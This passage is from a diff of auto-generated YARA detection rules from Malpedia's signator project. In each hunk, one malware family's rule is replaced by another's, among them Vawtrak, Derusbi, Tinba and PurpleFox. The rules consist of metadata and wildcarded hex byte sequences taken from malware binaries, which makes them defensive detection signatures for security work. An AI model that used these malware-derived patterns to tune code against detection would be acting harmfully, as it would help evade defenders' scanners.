+		id = "b724e7c8-fa8b-5ecb-9091-2adfef543aee"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.thanatos_ransom_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vawtrak_auto.yar#L1-L212"
 		license_url = "N/A"
-		logic_hash = "9c5c5f690fb079c4870ec7aa84eb31a9ced013d63674be92b3d66d32a913f4ab"
+		logic_hash = "2420d7270c56567b74aa80afdfcc3b5893cd81eeb0dabc0a53855a9b85be220c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -129264,32 +136301,45 @@ rule MALPEDIA_Win_Thanatos_Ransom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ff75e0 e8???????? 8b4df8 8bc7 5f 33cd }
-		$sequence_1 = { 8b00 8bc8 e8???????? c645fc0a }
-		$sequence_2 = { 50 e8???????? 56 8bd0 c645fc04 }
-		$sequence_3 = { 83c404 c60300 ff15???????? 50 e8???????? be14000000 }
-		$sequence_4 = { c745500f000000 c7454c00000000 c6453c00 83f810 7242 8b4d54 }
-		$sequence_5 = { 88441de8 43 8975e0 83fb04 757c 33f6 8a4435e8 }
-		$sequence_6 = { 8b0c85e0774300 8a06 46 8844392c 2bf2 eb14 }
-		$sequence_7 = { 0f8580000000 8b4508 dd00 ebc6 c745e0a0bd4200 e9???????? }
-		$sequence_8 = { 40 8d4de0 50 ff75e0 e8???????? 8b4df8 }
-		$sequence_9 = { e8???????? c70021000000 e9???????? 894ddc c745e034bf4200 e9???????? c745e030bf4200 }
+		$sequence_0 = { 6a01 ff35???????? 6a04 6a01 50 ff15???????? 85c0 }
+		$sequence_1 = { 6a00 6a00 e8???????? 50 ff15???????? }
+		$sequence_2 = { 837d1040 752d 8b4d04 e8???????? 85c0 }
+		$sequence_3 = { 8b4d08 e8???????? 85c0 7415 ff15???????? 50 }
+		$sequence_4 = { ba00ff0000 8bc1 23c2 3bc2 }
+		$sequence_5 = { 750f 33c9 e8???????? 85c0 7404 }
+		$sequence_6 = { b8ff0f0000 6623e8 b800400000 660be8 }
+		$sequence_7 = { 6a08 68???????? 56 ffd7 85c0 }
+		$sequence_8 = { 50 ff15???????? a3???????? 85c0 74e7 }
+		$sequence_9 = { 7528 68???????? ff15???????? 85c0 7504 33c0 }
+		$sequence_10 = { 59 57 8bf0 ff15???????? 8bc6 }
+		$sequence_11 = { e8???????? 33d2 b9ff3f0000 f7f1 }
+		$sequence_12 = { 8bc6 8703 3bc6 74f8 }
+		$sequence_13 = { 56 6a04 53 57 }
+		$sequence_14 = { 7705 80ea61 eb0a 8d42bf }
+		$sequence_15 = { 03c1 8b4d14 8901 33c0 40 }
+		$sequence_16 = { e9???????? 8ac1 c1e904 c0e004 }
+		$sequence_17 = { 8ac8 240f 80e1f0 80c110 32c8 }
+		$sequence_18 = { 3c41 7c11 3c46 7f0d }
+		$sequence_19 = { 48397c2430 7505 bb01000000 8bc3 }
+		$sequence_20 = { 4885c0 7440 ff15???????? 488b0b 33ff 3db7000000 }
+		$sequence_21 = { 0f84ff000000 3d00010000 7320 488b0b }
+		$sequence_22 = { 420fb61408 8bc1 ffc1 42881408 }
 
 	condition:
-		7 of them and filesize <516096
+		7 of them and filesize <1027072
 }
-rule MALPEDIA_Win_Webc2_Table_Auto : FILE
+rule MALPEDIA_Win_Derusbi_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "398ecdfa-bd77-5001-b308-7e740d6a25e6"
+		id = "7e17bc22-c095-50d8-a4c2-1bf339697e7b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_table_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.derusbi_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "659cc34946aa5d8ea6957b273afd39f56e48147569d9730da4a86aafe181a1ab"
+		logic_hash = "325459f5183ff3b300e1f181ae53b4a2cb1c12e04a563b27e6a394d452c11ac4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129303,32 +136353,32 @@ rule MALPEDIA_Win_Webc2_Table_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d85e4feffff 50 ff75fc ff15???????? 85c0 0f8461010000 }
-		$sequence_1 = { 83c410 881d???????? 8345fc04 ff4dec 0f8567feffff }
-		$sequence_2 = { 8dbda1fcffff 889da0fcffff f3ab 66ab aa 8d859cfbffff 6804010000 }
-		$sequence_3 = { 53 894dec ffd6 59 }
-		$sequence_4 = { 8b45f4 bf???????? 57 50 885c30f4 8b35???????? }
-		$sequence_5 = { 50 53 ff15???????? 85c0 750a ff15???????? 32c0 }
-		$sequence_6 = { ff75fc 8d85bcfdffff 50 e8???????? 59 }
-		$sequence_7 = { 50 8945e8 e8???????? 83c40c 895df8 8d45c4 }
-		$sequence_8 = { e8???????? 0fb745e0 50 0fb745de 50 }
-		$sequence_9 = { ff7508 6a01 50 ff15???????? 56 }
+		$sequence_0 = { 8b819c000000 8d4de8 51 8d4dec 51 ffb00c010000 c745e810000000 }
+		$sequence_1 = { 8d55ec e8???????? 8d4f08 56 8d55f3 e8???????? 59 }
+		$sequence_2 = { 8913 ff15???????? 83c40c e8???????? b301 57 ff15???????? }
+		$sequence_3 = { 33c5 8945f8 8b4508 66833800 53 56 57 }
+		$sequence_4 = { 8945f8 8b4508 56 57 50 8d8de4fbffff 899590f9ffff }
+		$sequence_5 = { 64a300000000 8b5d0c 8b4508 894c2414 89442418 85db 0f8457050000 }
+		$sequence_6 = { 50 ffd6 b903010000 2bc8 51 8d85ecfdffff 68???????? }
+		$sequence_7 = { 56 56 56 6a03 56 68???????? 6800040000 }
+		$sequence_8 = { ffd3 50 57 ffb5f8fbffff ff15???????? 83c410 85c0 }
+		$sequence_9 = { ffb5d4fdffff 898db8fdffff ffb5ecfdffff ffb5f0fdffff ff15???????? 3bc7 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Mosaic_Regressor_Auto : FILE
+rule MALPEDIA_Win_Catchamas_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6545d5ce-704c-5c00-a6cd-ec1b5c909576"
+		id = "f5823958-4dc9-52e1-b587-ac7a6b699e31"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosaic_regressor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mosaic_regressor_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.catchamas_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "73c7fd14f8effd7ac9e0816b586de74eff8d0d21c8391e8e84f2921e57196fdb"
+		logic_hash = "49e84bf121f6f46a8c4833df80092f815e20586f9bd57ea545ff931ae803e6c2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129342,32 +136392,32 @@ rule MALPEDIA_Win_Mosaic_Regressor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 670010 386700 1023 d18a0688078a }
-		$sequence_1 = { 8975e0 8db1d0a70010 8975e4 eb2a }
-		$sequence_2 = { 85c0 7456 8b4de0 8d0c8de0b70010 8901 8305????????20 }
-		$sequence_3 = { f3a4 6a1c 8d8c2480060000 51 6a00 ffd5 8d842478060000 }
-		$sequence_4 = { 8d442460 50 6a00 ffd5 8d442458 48 8d4900 }
-		$sequence_5 = { 895008 8d542458 52 88480c }
-		$sequence_6 = { c744241444000000 8bc8 90 8a10 }
-		$sequence_7 = { 6a06 89430c 8d4310 8d89c4a70010 5a }
-		$sequence_8 = { 8bff 55 8bec 8b4508 ff34c578a10010 ff15???????? 5d }
-		$sequence_9 = { 6a00 6a00 6a00 8d942498080000 }
+		$sequence_0 = { ffd6 6808080000 8d54246c 52 }
+		$sequence_1 = { 5f 5e 8b8c247c200000 33cc e8???????? }
+		$sequence_2 = { 6a00 ff15???????? e8???????? 8bcb 8b5c244c 51 }
+		$sequence_3 = { 6683f814 0f84c4080000 833d????????00 0f85af000000 }
+		$sequence_4 = { 50 bf01000000 ff15???????? 56 ff15???????? 85ff 0f851a010000 }
+		$sequence_5 = { 50 8d8c2494100000 68???????? 51 ff15???????? 83c42c 33c0 }
+		$sequence_6 = { 84c0 8b45e0 7409 e8???????? 8bfc eb32 }
+		$sequence_7 = { ffd7 6a0a 56 8be8 ffd7 8bf8 }
+		$sequence_8 = { 83e802 0f84bf090000 83e80d 0f845a090000 }
+		$sequence_9 = { 51 57 8bf0 50 ebbd e8???????? }
 
 	condition:
-		7 of them and filesize <113664
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Zenar_Auto : FILE
+rule MALPEDIA_Win_Tinba_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4a5b8e75-0846-5f97-8625-2c49ccc878e4"
+		id = "8b073df0-6973-5487-9d6c-3a57aeeab821"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zenar"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zenar_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinba_auto.yar#L1-L141"
 		license_url = "N/A"
-		logic_hash = "aaf8e2aaae847a92d9529fc5af1d76e9bd4aae4fdb4d807ed83b4a0145bc159f"
+		logic_hash = "3e0ce52a496c3fcf4e972331a3890b233f5a6cdb900c63778e37d0782cfe61e3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129381,32 +136431,35 @@ rule MALPEDIA_Win_Zenar_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7409 83c024 50 8b08 ff5108 8b4df4 }
-		$sequence_1 = { 8bf1 8d8e80020000 e8???????? 8d8e68020000 e8???????? 8bce 5e }
-		$sequence_2 = { 8bc7 8bcf 83e03f c1f906 6bf038 03348d98ae4300 }
-		$sequence_3 = { 8d8d70ffffff c645fc03 e8???????? 84c0 7406 8ac3 }
-		$sequence_4 = { 8bfe 83e03f c1ff06 6bd838 8b04bd98ae4300 f644032801 7444 }
-		$sequence_5 = { 55 8bec 0fb701 83ec10 83e811 741a 83e801 }
-		$sequence_6 = { 8d4d0c ff7514 8b7d08 8945f8 897314 }
-		$sequence_7 = { 8b4dfc 0f95c0 890a c9 c20c00 55 8bec }
-		$sequence_8 = { 837d0c04 0f85e3000000 8d4634 50 8d4dc8 e8???????? }
-		$sequence_9 = { eb07 8b4584 8930 33db 8d4dd4 e8???????? }
+		$sequence_0 = { 8b7508 ad 50 56 }
+		$sequence_1 = { 8b4510 aa 8b450c ab }
+		$sequence_2 = { 8a241f 88240f 88041f 41 }
+		$sequence_3 = { 6a00 6a00 6a00 ff750c 6a00 6a00 ff7508 }
+		$sequence_4 = { 8b4114 83f8fd 7506 8b4108 8b4014 85c0 7403 }
+		$sequence_5 = { 66b80d0a 66ab b8436f6f6b ab b869653a20 ab }
+		$sequence_6 = { ff15???????? 48 83c420 48 85c0 0f84b4000000 }
+		$sequence_7 = { 814a3500080000 4c 29c6 40 8832 }
+		$sequence_8 = { 8b7d0c 31c9 bb0a000000 31d2 f7f3 52 }
+		$sequence_9 = { 8b4514 8908 290e 8b06 }
+		$sequence_10 = { 66b80d0a 66ab b855736572 ab b82d416765 ab }
+		$sequence_11 = { 73ed 88e8 48 8d1d5a020000 }
+		$sequence_12 = { fd 8b7d0c 83c707 8b4508 83e00f }
 
 	condition:
-		7 of them and filesize <519168
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Ranbyus_Auto : FILE
+rule MALPEDIA_Win_Leouncia_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9b877552-6bf5-5d12-bef1-733cc6b8feac"
+		id = "39b73bd1-c371-5610-827d-6193acb69151"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ranbyus_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.leouncia_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "c376990edfad6c071124a105ec8d7e8afaf3007f10ae4746a7ce39d3890ccde0"
+		logic_hash = "ce0406952808d71dc84c670f24e39c297086db41d40b8ca03d26d62e66180e61"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129420,32 +136473,32 @@ rule MALPEDIA_Win_Ranbyus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7504 83c8ff c3 c7402401000000 }
-		$sequence_1 = { 894608 8b44241c 56 68???????? 89460c }
-		$sequence_2 = { 83c414 85f6 7414 6a01 6a01 57 }
-		$sequence_3 = { 760a 814e2500500000 c6060f 0fb606 5e 5b }
-		$sequence_4 = { a1???????? eb09 83780400 7507 8b4034 85c0 }
-		$sequence_5 = { e8???????? 59 8b4e05 89410b 8b4605 39780b 7407 }
-		$sequence_6 = { 8b4e05 89410b 8b4605 39780b }
-		$sequence_7 = { 83c621 8a06 3c46 7240 3c47 }
-		$sequence_8 = { 83780400 7507 8b4034 85c0 75f3 c3 }
-		$sequence_9 = { c3 837c240800 7467 8b44240c }
+		$sequence_0 = { f3ab 8d442408 50 56 }
+		$sequence_1 = { 52 50 a1???????? 8d8c248c050000 }
+		$sequence_2 = { 83c208 8908 8b4e04 894804 8a0d???????? }
+		$sequence_3 = { ff15???????? 5f b801000000 5e 81c438040000 c3 83c9ff }
+		$sequence_4 = { c3 55 56 57 8d542410 6a10 }
+		$sequence_5 = { 83c424 33d2 33ff 85c0 7e31 }
+		$sequence_6 = { c3 8bc8 83e01f c1f905 8b0c8d60c14000 }
+		$sequence_7 = { ff2485ba504000 834df0ff 8955cc 8955d8 8955e0 8955e4 8955fc }
+		$sequence_8 = { c744241c00000000 c744241400040000 c7450000000000 e8???????? 83c404 8bf0 8d442410 }
+		$sequence_9 = { ff2485ba504000 834df0ff 8955cc 8955d8 8955e0 8955e4 }
 
 	condition:
-		7 of them and filesize <638976
+		7 of them and filesize <114688
 }
-rule MALPEDIA_Win_Unidentified_053_Auto : FILE
+rule MALPEDIA_Win_Gold_Dragon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b8635dce-dc5b-565f-a079-d654a222f110"
+		id = "eec5e3d6-5655-50ac-8840-a288ffff9f65"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_053_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gold_dragon_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "466de537792d4c8cf5922d9a48018d257023e4a1753f3d834debb6d43be45c35"
+		logic_hash = "eed1b3c473c88d18a03100aac4bac22cf30de04dad45247c9c63eb23fa6434a1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129459,34 +136512,34 @@ rule MALPEDIA_Win_Unidentified_053_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 753c ff75e4 68???????? e8???????? 85c0 59 }
-		$sequence_1 = { c1c603 81ea584dff93 8915???????? e8???????? 42 }
-		$sequence_2 = { 8d3c85a8914100 833f00 bb00100000 7520 53 e8???????? }
-		$sequence_3 = { ff75f0 50 ff91c4010000 8945f4 85c0 }
-		$sequence_4 = { f7d7 c1c30e ffd0 890d???????? 87c7 2bc3 f7da }
-		$sequence_5 = { f7db c1c017 e8???????? f7d1 }
-		$sequence_6 = { 03f7 46 f7d8 81ebd4b243e9 c1c80c }
-		$sequence_7 = { 3b8e50894100 0f8515010000 a1???????? 83f801 0f84df000000 3bc2 }
-		$sequence_8 = { 81f669d8509c f7d2 686c6c6f63 e8???????? 4e 03c1 890d???????? }
-		$sequence_9 = { 8b048588814100 234508 8b4e14 8d04c1 0fb64801 8b5004 83fa10 }
+		$sequence_0 = { e8???????? 8bc6 83e61f c1f805 59 8b048500954000 8d0cf6 }
+		$sequence_1 = { 85c0 a3???????? 0f848d030000 8b15???????? 68???????? }
+		$sequence_2 = { 0fb6fa 3bc7 7714 8b55fc 8a9200844000 }
+		$sequence_3 = { a3???????? 0f842d040000 8b15???????? 68???????? }
+		$sequence_4 = { a3???????? 0f8422030000 a1???????? 68???????? 50 ffd6 }
+		$sequence_5 = { 8b7d08 8d054c914000 83780800 753b b0ff }
+		$sequence_6 = { 8db60c844000 bf???????? a5 a5 59 }
+		$sequence_7 = { ffd6 85c0 a3???????? 0f84a2050000 }
+		$sequence_8 = { ffd6 85c0 a3???????? 0f84ef010000 68???????? ffd7 }
+		$sequence_9 = { 85c0 a3???????? 0f8424020000 8b15???????? 68???????? 52 }
 
 	condition:
-		7 of them and filesize <294912
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Win_Broler_Auto : FILE
+rule MALPEDIA_Win_Purplefox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5abffeef-f83b-5c44-9f6f-38ecebdd4974"
+		id = "864146ba-a135-5d92-a900-c7434a0b6e81"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.broler"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.broler_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.purplefox_auto.yar#L1-L376"
 		license_url = "N/A"
-		logic_hash = "a9e85383ead8a369d8ed21ea68b384350908e471fda84214a900f85e6e6d4412"
+		logic_hash = "2241b5e41c5930d16a914d761ccbb07709436fc80bf5297a0da02f1f8d89a59e"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -129498,32 +136551,62 @@ rule MALPEDIA_Win_Broler_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 68???????? 50 68???????? 56 ff15???????? 898520dffcff }
-		$sequence_1 = { 39b820b54100 0f8491000000 ff45e4 83c030 3df0000000 72e7 81ffe8fd0000 }
-		$sequence_2 = { e8???????? 83c404 33c0 8845f0 8945f1 8945f5 668945f9 }
-		$sequence_3 = { 8d8db0dffcff 51 ba???????? e8???????? }
-		$sequence_4 = { e8???????? 83c404 33ff be0f000000 89b588fdffff 89bd84fdffff c68574fdffff00 }
-		$sequence_5 = { 33ff 3bcf 7564 c743140f000000 897b10 b8???????? }
-		$sequence_6 = { 898ed4030000 8b5004 8996d8030000 8b4808 }
-		$sequence_7 = { 899d50fdffff ff15???????? 8b9550fdffff 52 8d45a8 68???????? 50 }
-		$sequence_8 = { e8???????? e9???????? 50 8d459c 50 }
-		$sequence_9 = { 895910 c741140f000000 8d5508 89a51cdffcff 8819 52 }
+		$sequence_0 = { 8945ec 8d45f0 50 8d4dd8 8d55f8 51 }
+		$sequence_1 = { d2de feca 28c3 80d262 9c }
+		$sequence_2 = { 66f7d9 c1e810 52 66c1d908 0f9fc5 }
+		$sequence_3 = { 8918 e8???????? 4c8d15a7c70000 4885c0 7404 4c8d5010 8bcb }
+		$sequence_4 = { 8d45f8 50 6a00 6a00 c745f800000000 }
+		$sequence_5 = { 488b8d08040000 488d442470 4d8b00 4533c9 ba00000100 4889742428 48899c24f0040000 }
+		$sequence_6 = { ff15???????? 488bc8 ff15???????? 488d1528460000 488bce }
+		$sequence_7 = { 8b04c52cbb4000 5d c3 8bff 55 8bec }
+		$sequence_8 = { ffd6 83c410 8d542424 52 8d442410 e8???????? }
+		$sequence_9 = { 0f1005???????? f20f100d???????? 4889bc24c8000000 33ff }
+		$sequence_10 = { 51 0f9dc3 8b742404 685af85bca 8b7c240c }
+		$sequence_11 = { 56 57 68???????? e8???????? 83c404 6a00 6a00 }
+		$sequence_12 = { cf b94523340a e8???????? 06 }
+		$sequence_13 = { b614 dc1a 7038 1f a5 }
+		$sequence_14 = { 415d 415c 5f c3 4889742478 488bb42490000000 }
+		$sequence_15 = { 8d4df4 51 52 56 6a00 50 }
+		$sequence_16 = { 488b4238 48894108 488b4a50 4885c9 }
+		$sequence_17 = { e8???????? 8dbddcfdffff e8???????? 8dbddcfdffff c745fcffffffff }
+		$sequence_18 = { 6685c9 75f1 8d85f8fdffff 56 33f6 8d5002 }
+		$sequence_19 = { 8944241c 52 8d44241c 50 }
+		$sequence_20 = { 4803d8 41b800040000 48899d00040000 e8???????? e9???????? 488b4c2470 ff15???????? }
+		$sequence_21 = { 448bcf 4889442420 e8???????? 8bc7 488d4dd0 33d2 }
+		$sequence_22 = { 8b703c 66f7da 0fbae603 0fca 20c6 01c6 42 }
+		$sequence_23 = { 4883c308 483bdf 72ed 48833d????????00 741f 488d0d36c60000 e8???????? }
+		$sequence_24 = { 57 68???????? 68???????? bf00500000 ff15???????? 50 ff15???????? }
+		$sequence_25 = { ff15???????? 488d542450 488d0d96b10000 e8???????? }
+		$sequence_26 = { 3bf3 7d1e 8b4de8 ff15???????? 8b4df8 51 }
+		$sequence_27 = { 52 ffd3 85c0 7507 b802000000 eb1a }
+		$sequence_28 = { 9c 368810 c6042413 60 }
+		$sequence_29 = { 668b460c 8b5508 6a01 668945e4 }
+		$sequence_30 = { 4533c0 33d2 4489b424a0000000 4889442420 }
+		$sequence_31 = { a1???????? a3???????? a1???????? c705????????bb454000 8935???????? }
+		$sequence_32 = { e8???????? 83c408 33ff eb23 68???????? }
+		$sequence_33 = { 4885c0 743f 488b0d???????? 488d1551970000 }
+		$sequence_34 = { 8b1d???????? 68???????? 50 ffd3 85c0 750c 8b4f08 }
+		$sequence_35 = { c744246800010000 488bf9 4889742460 89742458 89742450 4889742448 }
+		$sequence_36 = { 488d0de4d20000 483bd9 723e 488d0568d60000 483bd8 7732 488bd3 }
+		$sequence_37 = { 48ffce 75a3 8b4504 03c5 8be8 833800 }
+		$sequence_38 = { 897c2404 e8???????? e8???????? 8d64242c 0f850a000000 660fb6d8 }
+		$sequence_39 = { 56 57 4883ec50 8bc9 488d942480000000 ff15???????? }
 
 	condition:
-		7 of them and filesize <275456
+		7 of them and filesize <1983488
 }
-rule MALPEDIA_Win_Bedep_Auto : FILE
+rule MALPEDIA_Win_Comlook_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "38514c33-d67a-59ce-9042-a62977e3ef09"
+		id = "860e6423-7c42-5b7a-b226-a660c40ee352"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bedep_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.comlook_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "f62533daae7175b045e5c4c81adb2d2dce588f3fcc3da789cd782a4e3103423f"
+		logic_hash = "4752c20623b9cb3b21f01ebe269fa3b02a3d0ecab0d63ba89a5af7bf48ed8b4a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129537,32 +136620,32 @@ rule MALPEDIA_Win_Bedep_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4dd4 c70020000000 c7400421020000 8bc6 881e c6460103 }
-		$sequence_1 = { 8b4608 e8???????? 85c0 7c19 6a20 8bc7 e8???????? }
-		$sequence_2 = { e8???????? 85c0 8945f4 7e3a 837df800 7463 8bcb }
-		$sequence_3 = { 33ff 89742418 8974241c 8b542418 56 ff742420 8d4c2430 }
-		$sequence_4 = { 7d09 56 e8???????? 59 eb05 8b450c 8930 }
-		$sequence_5 = { 397338 89442428 0f85bb000000 6a7c 8d8424a4000000 56 50 }
-		$sequence_6 = { 75e2 b001 5e c20400 55 8bec 83e4f8 }
-		$sequence_7 = { 56 90 e8???????? 832000 6a04 ff750c 33c9 }
-		$sequence_8 = { 8d4568 50 ff7570 90 e8???????? 894570 64a118000000 }
-		$sequence_9 = { ff751c 83cb02 ff7520 53 ff7514 50 8d45f4 }
+		$sequence_0 = { c1ff1f 03c1 13d7 2b442434 b900000000 1bd1 33ff }
+		$sequence_1 = { e8???????? 8d45e0 50 c645fc02 e8???????? 83c42c 8bd8 }
+		$sequence_2 = { ff15???????? 83c404 3bf4 e8???????? b843000000 e9???????? c7854cffffff00000000 }
+		$sequence_3 = { e8???????? 8b4e08 80791500 7579 8b01 80781401 7509 }
+		$sequence_4 = { c1ed08 036e04 25ff000000 036c2414 8906 8b0f 0fb6c0 }
+		$sequence_5 = { e9???????? 8b4518 0b451c 7509 33c0 33d2 e9???????? }
+		$sequence_6 = { e8???????? 83c408 85c0 7410 8b4508 8b4df8 894858 }
+		$sequence_7 = { e8???????? 8bf8 83c404 3bfb 0f8eab060000 c7463460210000 895e44 }
+		$sequence_8 = { e8???????? a1???????? 33c4 89442418 53 8b5c2424 8b435c }
+		$sequence_9 = { b8cccccccc 8945f0 8945f4 8945f8 8945fc 8b4508 0590050000 }
 
 	condition:
-		7 of them and filesize <557056
+		7 of them and filesize <4553728
 }
-rule MALPEDIA_Win_Mespinoza_Auto : FILE
+rule MALPEDIA_Elf_Persirai_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6af67872-bac6-59d0-8e7f-a6515453822a"
+		id = "a8d888a8-efae-5fcd-8298-ba3399d89281"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mespinoza_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.persirai_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "b9e1c3335fd9ffa3b60b976c6289b141c236447ff76a5dd17787957756af56c7"
+		logic_hash = "091433f152a0a1932173079b7afa5457b62363ecd6425f8d1d7de8df73a8fbb4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129576,32 +136659,32 @@ rule MALPEDIA_Win_Mespinoza_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4d9c e8???????? 83eb01 75e7 8b4d0c }
-		$sequence_1 = { 897d0c c645fc01 85ff 7446 56 8bcf e8???????? }
-		$sequence_2 = { 8b4dc4 8b7dc0 6aff 6a01 }
-		$sequence_3 = { 891f 895f04 6a01 895dfc e8???????? 59 894704 }
-		$sequence_4 = { 03c1 3bc1 7334 8bde 8bf1 2bf0 }
-		$sequence_5 = { 75f9 2bd6 8db5f8feffff 8d5e01 8a06 46 84c0 }
-		$sequence_6 = { 83e03f 6bd030 895de4 8b049d00b04700 8945d4 8955e8 8a5c1029 }
-		$sequence_7 = { 8b6c240c 56 57 55 8bf9 e8???????? 8b37 }
